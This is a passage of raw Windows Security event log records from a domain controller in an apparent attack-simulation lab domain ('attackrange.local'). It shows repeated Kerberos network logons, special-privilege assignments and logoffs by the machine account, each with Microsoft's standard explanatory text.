auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248743 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2FBB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248742 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2FBB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64018 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248741 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2FBB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248764 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3279 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248763 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3279 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64025 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248762 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3279 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248761 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3218 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248760 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3218 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64024 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248759 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3218 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248758 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC31B2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248757 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC31B2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64023 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248756 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC31B2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248755 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3151 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248754 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3151 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64022 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248753 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3151 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248776 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3410 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248775 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3410 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64029 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248774 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3410 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248773 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC33AF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248772 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC33AF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64028 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248771 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC33AF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248770 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3349 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248769 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC3349 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64027 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248768 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC3349 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248767 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC32E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248766 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC32E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64026 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248765 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC32E8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248789 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC35AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248788 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC35AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64033 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - 